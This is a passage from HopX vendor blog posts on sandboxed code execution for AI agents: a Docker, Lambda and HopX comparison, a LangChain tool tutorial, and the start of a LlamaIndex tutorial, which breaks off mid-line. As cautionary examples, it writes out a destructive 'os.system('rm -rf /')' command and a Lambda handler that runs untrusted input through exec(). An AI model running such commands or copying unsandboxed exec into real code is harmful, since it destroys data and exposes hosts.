'@hopx-ai/sdk'; const sandbox = await Sandbox.create({ template: 'code-interpreter' }); // Write a file await sandbox.files.write('/app/data.txt', 'Hello, HopX!'); // Read it back const content = await sandbox.files.read('/app/data.txt'); console.log('File content:', content); // List directory const files = await sandbox.files.list('/app'); console.log('Files:', files); await sandbox.kill(); ``` ## Step 6: Run Shell Commands Need to install packages or run system commands? Use the commands interface: ### Python ```python from hopx_ai import Sandbox with Sandbox.create(template="code-interpreter") as sandbox: # Install a package result = sandbox.commands.run("pip install requests") print(result.stdout) # Run any shell command result = sandbox.commands.run("ls -la /") print(result.stdout) ``` ### JavaScript ```javascript import { Sandbox } from '@hopx-ai/sdk'; const sandbox = await Sandbox.create({ template: 'code-interpreter' }); // Install a package const pipResult = await sandbox.commands.run('pip install requests'); console.log(pipResult.stdout); // Run any shell command const lsResult = await sandbox.commands.run('ls -la /'); console.log(lsResult.stdout); await sandbox.kill(); ``` ## Available Templates HopX provides pre-built templates for common use cases. The `code-interpreter` template is recommended for most Python workloads: | Template | Description | Pre-installed | |----------|-------------|---------------| | `code-interpreter` | **Recommended** - Full Python data science environment | Python 3.11, pandas, numpy, matplotlib, scikit-learn, requests | | `nodejs` | Node.js environment | Node.js 20, npm | | `go` | Go development | Go 1.21 toolchain | | `rust` | Rust development | cargo, rustc | | `java` | Java development | Java 17, Maven | > **Tip:** Use `code-interpreter` for AI agents and data analysis. It includes the most common packages pre-installed. ## What's Next? You've just created your first HopX sandbox and executed code in it. Here are some next steps: 1. **Build an AI Agent** - Connect your sandbox to OpenAI or Claude to create coding assistants 2. **Create Custom Templates** - Pre-bake your dependencies for faster startups 3. **Explore Desktop Automation** - Use VNC for browser testing and GUI automation ## Common Questions ### How fast do sandboxes start? Sandboxes start in approximately 100 milliseconds when using pre-built templates. Custom templates with cached dependencies are similarly fast. ### How long can a sandbox run? By default, sandboxes have a 1-hour timeout. You can extend this or keep them running indefinitely by adjusting the timeout settings. ### Is my code isolated from other users? Yes. Each sandbox runs in its own micro-VM with dedicated kernel, filesystem, and network stack. There's no shared infrastructure between sandboxes. ### How much does it cost? HopX uses pay-per-second billing: - **Compute**: $0.000014/vCPU-second - **Memory**: $0.0000045/GiB-second - **Free tier**: $200 in credits when you sign up ## Conclusion You've learned the basics of HopX: - ✅ Installing the SDK - ✅ Creating sandboxes - ✅ Executing code - ✅ Working with files - ✅ Running shell commands Ready to build something amazing? [Sign up for free](https://console.hopx.ai) and get $200 in credits to start. For more details, check out the [full documentation](https://docs.hopx.ai). --- ## HopX vs Docker vs AWS Lambda: Choosing the Right Execution Environment URL: https://hopx.ai/blog/use-cases/hopx-vs-docker-vs-lambda/ Category: Use Cases Published: 2025-11-26 # HopX vs Docker vs AWS Lambda: Choosing the Right Execution Environment When building AI agents that execute code, you need an execution environment. The three most common options are Docker containers, AWS Lambda, and microVM-based sandboxes like HopX. Each has its place. This guide helps you choose the right one. ## Quick Comparison | Feature | Docker | AWS Lambda | HopX | |---------|--------|------------|------| | **Isolation** | Process-level | MicroVM | MicroVM | | **Cold Start** | 500ms - 2s | 1-5s | ~100ms | | **Max Duration** | Unlimited | 15 minutes | Unlimited | | **Persistent FS** | Yes | No | Yes | | **Custom Packages** | Build time | Layers (250MB limit) | Runtime or template | | **Network Access** | Full control | Configurable | Full with controls | | **Pricing Model** | Self-hosted | Per-invocation | Per-second | | **Best For** | Long-running services | Event-driven functions | AI agent code execution | ## Docker Containers Docker is the industry standard for packaging and deploying applications. It uses OS-level virtualization to run isolated processes. ### Pros - **Mature ecosystem** - Vast library of pre-built images - **Developer familiarity** - Most developers know Docker - **Full control** - You manage everything - **No duration limits** - Run as long as needed - **Persistent storage** - Volumes survive restarts ### Cons - **Not a security boundary** - Containers share the host kernel - **Container escapes** - Regular CVEs (2019, 2020, 2022 had major ones) - **Infrastructure overhead** - You manage orchestration, scaling, updates - **Cold start for new containers** - 500ms-2s typically - **Resource management** - Manual configuration of limits ### When to Use Docker ✅ Running trusted code that you wrote ✅ Long-running services (web servers, APIs) ✅ Development environments ✅ CI/CD pipelines ❌ Executing untrusted or LLM-generated code ❌ Multi-tenant workloads requiring isolation ❌ Security-critical applications ### Docker Example ```dockerfile FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install -r requirements.txt COPY . . CMD ["python", "main.py"] ``` ```bash docker build -t my-agent . docker run --rm my-agent ``` ## AWS Lambda Lambda is AWS's serverless compute service. Code runs in microVMs managed by AWS. ### Pros - **True isolation** - Each function runs in a dedicated microVM - **Zero infrastructure** - AWS handles everything - **Auto-scaling** - From 0 to thousands of concurrent executions - **Pay-per-use** - Only pay when code runs - **Integrated with AWS** - Easy access to S3, DynamoDB, etc. ### Cons - **Cold starts** - 1-5 seconds for new instances - **15-minute limit** - Long tasks must be split - **No persistent filesystem** - /tmp is cleared between invocations - **250MB package limit** - Layers help but are complex - **Vendor lock-in** - AWS-specific patterns - **Expensive at scale** - Warm functions still cost money ### When to Use Lambda ✅ Event-driven workloads (webhooks, queue processing) ✅ Infrequent, short-duration tasks ✅ AWS-centric architectures ✅ Batch processing ❌ Real-time AI agents (cold starts too slow) ❌ Long-running computations (15-min limit) ❌ Tasks requiring persistent state ❌ Heavy package dependencies ### Lambda Example ```python # handler.py def lambda_handler(event, context): code = event.get('code', '') # Execute code (but with all Lambda limitations) exec(code) # Don't do this in production! return {'statusCode': 200} ``` ```yaml # serverless.yml functions: executor: handler: handler.lambda_handler timeout: 900 # Max 15 minutes memorySize: 1024 ``` ## HopX Sandboxes HopX provides microVM-based sandboxes optimized for AI workloads. Each sandbox is an isolated Linux VM with its own kernel. ### Pros - **True isolation** - Hardware-level separation via microVMs - **100ms cold starts** - Fast enough for real-time AI - **No duration limits** - Run for hours if needed - **Persistent filesystem** - Files survive between calls - **Runtime package installation** - `pip install` anything - **Full Linux environment** - Root access, any tool - **Simple SDK** - Python and JavaScript ### Cons - **Newer platform** - Less ecosystem than Docker/Lambda - **Requires API key** - Not self-hosted - **Cost for idle sandboxes** - Pay while running (pause to save) ### When to Use HopX ✅ AI agent code execution ✅ Running LLM-generated code safely ✅ Multi-tenant SaaS with code execution ✅ Data analysis and notebook workloads ✅ Browser automation and desktop testing ✅ Long-running agent tasks ❌ Simple web application hosting ❌ Event-driven queue processing ❌ Extremely high-frequency, low-latency calls ### HopX Example ```python from hopx_ai import Sandbox # Create isolated sandbox with Sandbox.create(template="code-interpreter") as sandbox: # Install any package at runtime sandbox.commands.run("pip install pandas matplotlib") # Execute untrusted code safely result = sandbox.run_code(""" import pandas as pd df = pd.DataFrame({'x': [1,2,3], 'y': [4,5,6]}) print(df.describe()) """) print(result.stdout) ``` ## Real-World Scenario Comparisons ### Scenario 1: AI Coding Assistant You're building a coding assistant that executes user code to help debug. | Aspect | Docker | Lambda | HopX | |--------|--------|--------|------| | User runs `import os; os.system('rm -rf /')` | 🔴 Deletes container files, potential escape | 🟡 Limited damage, 15-min max | 🟢 Contained, sandbox destroyed after | | User runs 30-minute ML training | 🟢 Works | 🔴 Timeout after 15min | 🟢 Works | | User needs custom packages | 🟡 Rebuild image | 🔴 Redeploy with layers | 🟢 `pip install` at runtime | | Cold start for new user | 🟡 1-2s | 🔴 1-5s | 🟢 ~100ms | **Winner: HopX** - Built for this exact use case. ### Scenario 2: Webhook Processing You receive webhooks and need to process them quickly. | Aspect | Docker | Lambda | HopX | |--------|--------|--------|------| | Scale to 1000 concurrent | 🟡 Need K8s/ECS | 🟢 Automatic | 🟢 Automatic | | Cost at low volume | 🔴 Always running | 🟢 Pay per invocation | 🟡 Pay per second | | Integration with AWS | 🟡 Manual setup | 🟢 Native | 🟡 Via API | | Execution time (50ms avg) | 🟢 Fast | 🟢 Fast | 🟢 Fast | **Winner: Lambda** - Designed for event-driven, short tasks. ### Scenario 3: Long-Running Data Pipeline You have a data pipeline that runs for 2 hours processing large datasets. | Aspect | Docker | Lambda | HopX | |--------|--------|--------|------| | 2-hour runtime | 🟢 Works | 🔴 Impossible | 🟢 Works | | Large package dependencies | 🟢 Any size | 🔴 250MB limit | 🟢 Any size | | Persistent intermediate files | 🟢 Volumes | 🔴 No persistence | 🟢 Sandbox FS | | Cost optimization | 🟡 Manual scaling | 🔴 N/A | 🟢 Pause when idle | **Winner: Docker/HopX** - Lambda can't handle this. ### Scenario 4: Multi-Tenant SaaS You're building a SaaS where each customer can run custom code. | Aspect | Docker | Lambda | HopX | |--------|--------|--------|------| | Tenant isolation | 🔴 Weak (shared kernel) | 🟢 Strong (microVM) | 🟢 Strong (microVM) | | Noisy neighbor protection | 🟡 Requires careful config | 🟢 Automatic | 🟢 Automatic | | Custom environments per tenant | 🟡 Image per tenant | 🔴 Complex | 🟢 Template per tenant | | Compliance requirements | 🔴 Hard to prove isolation | 🟢 AWS attestation | 🟢 Hardware isolation | **Winner: HopX/Lambda** - Docker lacks sufficient isolation for multi-tenant. ## Cost Comparison Let's compare costs for a typical AI agent workload: 10,000 executions/day, 30 seconds average, 1 vCPU, 1GB RAM. ### Docker (self-hosted on AWS EC2) ``` c5.large (2 vCPU, 4GB): $0.085/hour Monthly: $0.085 × 24 × 30 = $61.20 + Reserved capacity for spikes: ~$100/month Total: ~$160/month ``` But you're paying for idle time and managing infrastructure. ### AWS Lambda ``` 10,000 executions × 30 days = 300,000/month Duration: 300,000 × 30s = 9,000,000 GB-seconds Cost: 9,000,000 × $0.0000166667 = $150/month + Requests: 300,000 × $0.20/million = $0.06 Total: ~$150/month ``` But cold starts hurt UX, and 15-minute limit is restrictive. ### HopX ``` Compute: 9,000,000 vCPU-seconds × $0.000014 = $126 Memory: 9,000,000 GB-seconds × $0.0000045 = $40.50 Total: ~$167/month ``` But you get 100ms cold starts, no duration limits, and full Linux environment. **Cost verdict**: All three are competitive. Choose based on features, not cost. ## Decision Framework Use this flowchart to choose: ``` Is the code trusted (you wrote it)? ├── Yes → Docker (full control, mature ecosystem) └── No → Continue... Is the code LLM-generated or user-submitted? ├── Yes → Need strong isolation │ ├── Tasks under 15 minutes? → Lambda is an option │ └── Longer tasks or real-time? → HopX └── No → Depends on requirements Do you need sub-second cold starts? ├── Yes → HopX (~100ms) └── No → Lambda (1-5s) is acceptable Do you need persistent filesystem? ├── Yes → Docker or HopX └── No → Lambda works Are you already deep in AWS ecosystem? ├── Yes → Lambda for integration benefits └── No → Evaluate based on other factors ``` ## Hybrid Approaches You don't have to choose just one. Many teams use: 1. **Docker** for their main application (web servers, APIs) 2. **Lambda** for event processing (webhooks, queues) 3. **HopX** for AI agent code execution ```python # Your main app (Docker/K8s) @app.post("/execute") async def execute_code(request: CodeRequest): # Delegate unsafe execution to HopX with Sandbox.create(template="code-interpreter") as sandbox: result = sandbox.run_code(request.code) return {"output": result.stdout} # Meanwhile, Lambda handles webhooks # HopX handles AI agent tasks ``` ## Conclusion | Use Case | Recommendation | |----------|----------------| | Web applications | Docker | | Event-driven functions | Lambda | | AI agent code execution | HopX | | Running untrusted code | HopX | | Multi-tenant SaaS | HopX or Lambda | | Long-running computations | Docker or HopX | | Data pipelines | Docker (complex) or HopX (simple) | The right choice depends on your specific requirements. For AI agents that execute code, HopX provides the best combination of security, speed, and flexibility. --- Ready to try HopX? [Sign up for free](https://console.hopx.ai) and get $200 in credits. --- ## LangChain Tools with Secure Code Execution Using HopX URL: https://hopx.ai/blog/tutorials/langchain-tools-secure-code-execution/ Category: Tutorials Published: 2025-11-26 # LangChain Tools with Secure Code Execution Using HopX LangChain's built-in `PythonREPL` tool has a big problem: it runs code directly on your machine. One hallucinated `rm -rf /` and your server is gone. This guide shows you how to replace LangChain's dangerous code execution with secure, isolated HopX sandboxes—while keeping the familiar LangChain patterns you already know. ## The Problem with LangChain's Default Code Execution LangChain includes a `PythonREPLTool` that lets agents execute Python code: ```python # ⚠️ DANGEROUS - Don't use in production from langchain_experimental.tools import PythonREPLTool tool = PythonREPLTool() result = tool.run("import os; os.system('rm -rf /')") # Game over ``` This executes code directly on your host machine with full access to: - Your filesystem - Network connections - Environment variables (including API keys) - System processes In production, this is a ticking time bomb. ## The Solution: HopX Sandboxed Execution Replace the dangerous `PythonREPLTool` with a custom tool that runs code in isolated HopX sandboxes: ``` ┌─────────────────────────────────────────────────────────────┐ │ LangChain Agent │ │ │ │ "I need to run this Python code to analyze the data..." │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ HopX Sandbox Tool │ │ (Custom LangChain Tool) │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ HopX MicroVM │ │ ┌────────────────────────────────────────────────────┐ │ │ │ Isolated execution environment │ │ │ │ • No access to host filesystem │ │ │ │ • Network policies enforced │ │ │ │ • Resource limits applied │ │ │ │ • Destroyed after execution │ │ │ └────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────┘ │ ▼ Results returned to agent ``` ## Prerequisites Install the required packages: ```bash pip install langchain langchain-openai hopx-ai ``` Set your API keys: ```bash export OPENAI_API_KEY="sk-..." export HOPX_API_KEY="your-hopx-key" ``` ## Step 1: Create a Secure Python Execution Tool First, let's build a LangChain-compatible tool that executes code in HopX: ```python from langchain.tools import BaseTool from hopx import Sandbox from pydantic import BaseModel, Field from typing import Type, Optional class PythonCodeInput(BaseModel): """Input schema for Python code execution.""" code: str = Field(description="The Python code to execute") class SecurePythonTool(BaseTool): """Execute Python code securely in an isolated HopX sandbox.""" name: str = "python_executor" description: str = """Execute Python code in a secure, isolated sandbox. Use this tool when you need to: - Perform calculations or data analysis - Process files or data structures - Run any Python code safely The sandbox has pandas, numpy, matplotlib, requests, and standard libraries. For visualizations, save to /app/output.png. """ args_schema: Type[BaseModel] = PythonCodeInput # Sandbox configuration template: str = "code-interpreter" timeout: int = 60 def _run(self, code: str) -> str: """Execute code in isolated sandbox.""" sandbox = None try: # Create isolated sandbox sandbox = Sandbox.create(template=self.template) # Execute code with timeout result = sandbox.runCode(code, language="python", timeout=self.timeout) # Format output if result.exitCode == 0: output = result.stdout or "Code executed successfully (no output)" return f"✅ Execution successful:\n{output}" else: error = result.stderr or "Unknown error" return f"❌ Execution failed:\n{error}" except Exception as e: return f"❌ Sandbox error: {str(e)}" finally: if sandbox: sandbox.kill() async def _arun(self, code: str) -> str: """Async version - runs sync for simplicity.""" return self._run(code) ``` ## Step 2: Build an Agent with Secure Code Execution Now create a LangChain agent using our secure tool: ```python from langchain_openai import ChatOpenAI from langchain.agents import AgentExecutor, create_openai_tools_agent from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder # Initialize the LLM llm = ChatOpenAI(model="gpt-4o", temperature=0) # Create the secure tool python_tool = SecurePythonTool() # Define the prompt prompt = ChatPromptTemplate.from_messages([ ("system", """You are a helpful AI assistant with access to a Python executor. When users ask questions that require computation, data analysis, or code execution: 1. Write clear, well-commented Python code 2. Use the python_executor tool to run it 3. Analyze the results and provide a helpful response Available libraries: pandas, numpy, matplotlib, seaborn, requests, json, csv, datetime Tips: - Always print() results you want to see - For charts, save to /app/output.png using plt.savefig() - Handle potential errors in your code """), MessagesPlaceholder(variable_name="chat_history", optional=True), ("human", "{input}"), MessagesPlaceholder(variable_name="agent_scratchpad"), ]) # Create the agent agent = create_openai_tools_agent(llm, [python_tool], prompt) agent_executor = AgentExecutor( agent=agent, tools=[python_tool], verbose=True, max_iterations=5 ) # Run it response = agent_executor.invoke({ "input": "Calculate the first 50 prime numbers and their sum" }) print(response["output"]) ``` ## Step 3: Add Multiple Tools Real agents need more than just Python execution. Here's how to combine tools: ```python from langchain.tools import BaseTool from hopx import Sandbox from pydantic import BaseModel, Field from typing import Type class BashCommandInput(BaseModel): """Input for bash commands.""" command: str = Field(description="The bash command to execute") class SecureBashTool(BaseTool): """Execute bash commands in isolated sandbox.""" name: str = "bash_executor" description: str = """Execute bash/shell commands securely. Use for: file operations, system commands, package installation. Example: ls -la, cat file.txt, pip install package """ args_schema: Type[BaseModel] = BashCommandInput template: str = "code-interpreter" def _run(self, command: str) -> str: sandbox = None try: sandbox = Sandbox.create(template=self.template) result = sandbox.runCode(command, language="bash", timeout=60) if result.exitCode == 0: return f"✅ Command succeeded:\n{result.stdout}" else: return f"❌ Command failed (exit {result.exitCode}):\n{result.stderr}" except Exception as e: return f"❌ Error: {str(e)}" finally: if sandbox: sandbox.kill() class FileReadInput(BaseModel): """Input for reading files.""" path: str = Field(description="Path to the file to read") class SecureFileReadTool(BaseTool): """Read files from the sandbox.""" name: str = "read_file" description: str = "Read the contents of a file. Use after creating or downloading files." args_schema: Type[BaseModel] = FileReadInput def _run(self, path: str) -> str: sandbox = None try: sandbox = Sandbox.create(template="code-interpreter") content = sandbox.files.read(path) return f"File contents:\n{content[:10000]}" # Truncate large files except Exception as e: return f"❌ Could not read file: {str(e)}" finally: if sandbox: sandbox.kill() # Create multi-tool agent tools = [ SecurePythonTool(), SecureBashTool(), SecureFileReadTool(), ] agent = create_openai_tools_agent(llm, tools, prompt) agent_executor = AgentExecutor(agent=agent, tools=tools, verbose=True) ``` ## Step 4: Persistent Sandbox for Multi-Step Tasks For complex tasks that require multiple code executions, reuse the same sandbox: ```python from langchain.tools import BaseTool from hopx import Sandbox from typing import Optional import threading class PersistentSandboxManager: """Manage a persistent sandbox for multi-step execution.""" _instance: Optional['PersistentSandboxManager'] = None _lock = threading.Lock() def __init__(self): self.sandbox: Optional[Sandbox] = None self.ttl = 300 # 5 minutes @classmethod def get_instance(cls) -> 'PersistentSandboxManager': if cls._instance is None: with cls._lock: if cls._instance is None: cls._instance = cls() return cls._instance def get_sandbox(self) -> Sandbox: """Get or create sandbox.""" if self.sandbox is None: self.sandbox = Sandbox.create( template="code-interpreter", ttl=self.ttl ) return self.sandbox def reset(self): """Destroy and recreate sandbox.""" if self.sandbox: try: self.sandbox.kill() except: pass self.sandbox = None class PersistentPythonTool(BaseTool): """Python tool with persistent sandbox state.""" name: str = "python" description: str = """Execute Python code with persistent state. Variables and imports persist between calls. Use for multi-step data analysis where you need to build on previous results. """ def _run(self, code: str) -> str: manager = PersistentSandboxManager.get_instance() try: sandbox = manager.get_sandbox() result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: return result.stdout or "Executed (no output)" else: return f"Error: {result.stderr}" except Exception as e: # Sandbox might have expired, reset and retry manager.reset() return f"Sandbox error (will retry with fresh sandbox): {str(e)}" ``` ## Step 5: Data Analysis Agent with File Handling Here's a complete example for data analysis tasks: ```python from langchain_openai import ChatOpenAI from langchain.agents import AgentExecutor, create_openai_tools_agent from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder from langchain.tools import BaseTool from hopx import Sandbox from pydantic import BaseModel, Field from typing import Type, Optional import base64 class DataAnalysisTool(BaseTool): """Comprehensive data analysis tool with file support.""" name: str = "analyze_data" description: str = """Analyze data using Python in a secure sandbox. Capabilities: - Load CSV, JSON, Excel files - Statistical analysis with pandas - Visualizations with matplotlib/seaborn - Machine learning with scikit-learn Input your Python code. For charts, save to /app/chart.png. Uploaded files are available at /app/data/ """ # Keep sandbox alive for the session sandbox: Optional[Sandbox] = None def get_sandbox(self) -> Sandbox: if self.sandbox is None: self.sandbox = Sandbox.create( template="code-interpreter", ttl=300 # 5 minute TTL ) return self.sandbox def _run(self, code: str) -> str: try: sandbox = self.get_sandbox() result = sandbox.runCode(code, language="python", timeout=120) output_parts = [] if result.stdout: output_parts.append(f"Output:\n{result.stdout}") if result.stderr and result.exitCode != 0: output_parts.append(f"Error:\n{result.stderr}") # Check if a chart was created try: chart_data = sandbox.files.read("/app/chart.png") output_parts.append("\n📊 Chart saved to /app/chart.png") except: pass return "\n\n".join(output_parts) or "Code executed successfully" except Exception as e: self.sandbox = None # Reset on error return f"Execution error: {str(e)}" def upload_data(self, filename: str, content: bytes): """Upload data file to sandbox.""" sandbox = self.get_sandbox() sandbox.files.write(f"/app/data/{filename}", content) def cleanup(self): """Destroy sandbox when done.""" if self.sandbox: self.sandbox.kill() self.sandbox = None # Create the analysis agent llm = ChatOpenAI(model="gpt-4o", temperature=0) data_tool = DataAnalysisTool() analysis_prompt = ChatPromptTemplate.from_messages([ ("system", """You are an expert data analyst assistant. When users provide data or ask analytical questions: 1. First explore the data structure (head, info, describe) 2. Perform the requested analysis 3. Create visualizations when appropriate 4. Explain your findings clearly Always show your work with code. Use pandas for data manipulation. Save visualizations to /app/chart.png using plt.savefig('/app/chart.png', dpi=150, bbox_inches='tight') """), ("human", "{input}"), MessagesPlaceholder(variable_name="agent_scratchpad"), ]) agent = create_openai_tools_agent(llm, [data_tool], analysis_prompt) data_agent = AgentExecutor(agent=agent, tools=[data_tool], verbose=True) # Example: Multi-step analysis response = data_agent.invoke({ "input": """Create a sample sales dataset with: - 500 rows - Columns: date, product, region, quantity, revenue - Random but realistic data Then: 1. Show basic statistics 2. Find top 5 products by revenue 3. Create a bar chart of revenue by region """ }) print(response["output"]) # Cleanup data_tool.cleanup() ``` ## LangChain Expression Language (LCEL) Integration For more complex chains, integrate with LCEL: ```python from langchain_core.runnables import RunnablePassthrough, RunnableLambda from langchain_core.output_parsers import StrOutputParser from langchain_openai import ChatOpenAI from hopx import Sandbox def execute_code_safely(code: str) -> str: """Execute code in sandbox and return result.""" sandbox = Sandbox.create(template="code-interpreter") try: result = sandbox.runCode(code, language="python", timeout=60) return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}" finally: sandbox.kill() # Build an LCEL chain that generates and executes code generate_code_prompt = ChatPromptTemplate.from_messages([ ("system", "You are a Python expert. Generate ONLY executable Python code, no explanations."), ("human", "Write Python code to: {task}") ]) explain_result_prompt = ChatPromptTemplate.from_messages([ ("system", "Explain the following code execution result in plain English."), ("human", "Task: {task}\n\nCode result:\n{result}") ]) llm = ChatOpenAI(model="gpt-4o") # Chain: Generate code → Execute → Explain chain = ( {"task": RunnablePassthrough()} | RunnablePassthrough.assign( code=generate_code_prompt | llm | StrOutputParser() ) | RunnablePassthrough.assign( result=lambda x: execute_code_safely(x["code"]) ) | explain_result_prompt | llm | StrOutputParser() ) # Run it result = chain.invoke("Calculate the factorial of 20 and check if it's divisible by 7") print(result) ``` ## Error Handling and Retry Logic Production agents need robust error handling: ```python from langchain.tools import BaseTool from hopx import Sandbox from typing import Optional import time class RobustPythonTool(BaseTool): """Python execution with retry logic and error recovery.""" name: str = "python" description: str = "Execute Python code with automatic error recovery" max_retries: int = 3 retry_delay: float = 1.0 def _run(self, code: str) -> str: last_error = None for attempt in range(self.max_retries): sandbox = None try: sandbox = Sandbox.create(template="code-interpreter") result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: return result.stdout or "Success (no output)" else: # Code error - don't retry, return error for LLM to fix return f"Code error:\n{result.stderr}" except Exception as e: last_error = str(e) if attempt < self.max_retries - 1: time.sleep(self.retry_delay) continue finally: if sandbox: try: sandbox.kill() except: pass return f"Sandbox failed after {self.max_retries} attempts: {last_error}" ``` ## Comparing with Built-in PythonREPL | Feature | LangChain PythonREPL | HopX Secure Tool | |---------|---------------------|------------------| | **Isolation** | ❌ Runs on host | ✅ Isolated microVM | | **Security** | ❌ Full system access | ✅ No host access | | **Resource Limits** | ❌ Unlimited | ✅ CPU/memory limits | | **Network Control** | ❌ Open | ✅ Configurable policies | | **Cleanup** | ❌ Artifacts persist | ✅ VM destroyed | | **Speed** | ✅ Instant | ✅ ~100ms startup | | **State Persistence** | ✅ Session state | ✅ With persistent sandbox | ## Best Practices ### 1. Always Set Timeouts ```python result = sandbox.runCode(code, language="python", timeout=60) ``` ### 2. Limit Output Size ```python def _run(self, code: str) -> str: result = sandbox.runCode(code, language="python", timeout=60) output = result.stdout[:10000] # Truncate large outputs return output ``` ### 3. Use Custom Templates for Specialized Tasks ```python # For data science tasks sandbox = Sandbox.create(template="data-science") # For web scraping sandbox = Sandbox.create(template="web-scraper") ``` ### 4. Implement Conversation Memory ```python from langchain.memory import ConversationBufferMemory memory = ConversationBufferMemory(memory_key="chat_history", return_messages=True) agent_executor = AgentExecutor( agent=agent, tools=tools, memory=memory, verbose=True ) ``` ### 5. Log All Executions ```python import logging logger = logging.getLogger("secure_python_tool") def _run(self, code: str) -> str: logger.info(f"Executing code: {code[:100]}...") result = self._execute(code) logger.info(f"Result: {result[:100]}...") return result ``` ## Complete Working Example Here's a production-ready implementation: ```python """ Secure LangChain Agent with HopX Code Execution """ from langchain_openai import ChatOpenAI from langchain.agents import AgentExecutor, create_openai_tools_agent from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder from langchain.tools import BaseTool from langchain.memory import ConversationBufferMemory from hopx import Sandbox from pydantic import BaseModel, Field from typing import Type, Optional import os # Ensure API keys are set assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY" assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY" class CodeInput(BaseModel): code: str = Field(description="Python code to execute") class SecurePythonExecutor(BaseTool): name: str = "execute_python" description: str = """Execute Python code in a secure isolated sandbox. Available: pandas, numpy, matplotlib, seaborn, scikit-learn, requests. For charts: plt.savefig('/app/chart.png') Print results you want to see.""" args_schema: Type[BaseModel] = CodeInput sandbox: Optional[Sandbox] = None def get_or_create_sandbox(self) -> Sandbox: if self.sandbox is None: self.sandbox = Sandbox.create(template="code-interpreter", ttl=300) return self.sandbox def _run(self, code: str) -> str: try: sandbox = self.get_or_create_sandbox() result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: return result.stdout or "✅ Executed successfully" return f"❌ Error:\n{result.stderr}" except Exception as e: self.sandbox = None return f"❌ Sandbox error: {e}" def cleanup(self): if self.sandbox: self.sandbox.kill() self.sandbox = None def create_secure_agent(): """Create a LangChain agent with secure code execution.""" llm = ChatOpenAI(model="gpt-4o", temperature=0) tool = SecurePythonExecutor() prompt = ChatPromptTemplate.from_messages([ ("system", """You are a helpful AI assistant that can execute Python code safely. When you need to compute, analyze data, or run code: 1. Write clear Python code 2. Use the execute_python tool 3. Explain the results Be concise and helpful."""), MessagesPlaceholder(variable_name="chat_history", optional=True), ("human", "{input}"), MessagesPlaceholder(variable_name="agent_scratchpad"), ]) agent = create_openai_tools_agent(llm, [tool], prompt) memory = ConversationBufferMemory(memory_key="chat_history", return_messages=True) return AgentExecutor( agent=agent, tools=[tool], memory=memory, verbose=True, max_iterations=5 ), tool if __name__ == "__main__": agent, tool = create_secure_agent() try: # Example conversation print("\n" + "="*60) response = agent.invoke({"input": "What's 2^100 exactly?"}) print(f"\nAgent: {response['output']}") print("\n" + "="*60) response = agent.invoke({ "input": "Create a list of the first 10 fibonacci numbers and calculate their average" }) print(f"\nAgent: {response['output']}") finally: tool.cleanup() ``` ## Conclusion By replacing LangChain's `PythonREPLTool` with HopX sandboxed execution, you get: - **Security**: Code runs in isolated microVMs, not your host - **Same API**: Drop-in replacement for existing LangChain patterns - **Production-ready**: Timeouts, error handling, resource limits - **Flexibility**: Custom tools for any use case The LLM gets the power of code execution. Your infrastructure stays safe. --- Ready to secure your LangChain agents? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms. ## Further Reading - [Build a Code Interpreter Agent](/blog/ai-agents/build-code-interpreter-openai-hopx) — Full tutorial with OpenAI - [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Deep dive into LLM tools - [Why AI Agents Need Isolated Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution) — Security fundamentals - [LangChain Documentation](https://python.langchain.com/docs/) — Official LangChain docs - [Custom Templates](/blog/tutorials/custom-templates-pre-bake-your-environment) — Pre-configure your sandbox environment --- ## LlamaIndex + HopX: Building RAG Agents with Code Execution URL: https://hopx.ai/blog/tutorials/llamaindex-hopx-rag-code-execution/ Category: Tutorials Published: 2025-11-26 # LlamaIndex + HopX: Building RAG Agents with Code Execution LlamaIndex excels at Retrieval-Augmented Generation—connecting LLMs to your data. But what happens when the answer isn't in your documents? What if the LLM needs to *compute* something? That's where code execution comes in. This tutorial shows how to build LlamaIndex agents that can both retrieve information AND execute Python code to analyze, calculate, and visualize. ## The Power of RAG + Code ``` ┌─────────────────────────────────────────────────────────────────┐ │ User: "What was our Q3 revenue and how does it compare to │ │ the industry average growth rate?" │ └─────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ LlamaIndex Agent │ │ │ │ 1. Query Vector Index → "Q3 revenue was $2.4M" │ │ 2. Query Vector Index → "Industry avg growth is 12%" │ │ 3. Execute Python → Calculate comparison, growth rate │ │ 4. Generate Response → Synthesize with computed values │ └─────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Answer: "Q3 revenue was $2.4M, representing 18% YoY growth. │ │ This outperforms the industry average of 12% by 6 percentage │ │ points, ranking us in the top quartile of our sector." │ └─────────────────────────────────────────────────────────────────┘ ``` ## Prerequisites ```bash pip install llama-index llama-index-llms-openai llama-index-embeddings-openai hopx-ai ``` Set environment variables: ```bash export OPENAI_API_KEY="sk-..." export HOPX_API_KEY="..." ``` ## Step 1: Create the Code Execution Tool Build a LlamaIndex-compatible tool for sandboxed execution: ```python from llama_index.core.tools import FunctionTool from hopx import Sandbox from typing import Optional def execute_python(code: str) -> str: """ Execute Python code in an isolated sandbox. Use this tool when you need to: - Perform calculations or mathematical operations - Analyze data with pandas - Create visualizations - Process or transform data Args: code: Python code to execute. Must be complete and runnable. Always use print() to output results. Returns: The output from code execution or error message. """ sandbox = None try: sandbox = Sandbox.create(template="code-interpreter") result = sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: return result.stdout or "Code executed successfully (no output)" else: return f"Error: {result.stderr}" except Exception as e: return f"Execution failed: {str(e)}" finally: if sandbox: sandbox.kill() # Create LlamaIndex tool python_tool = 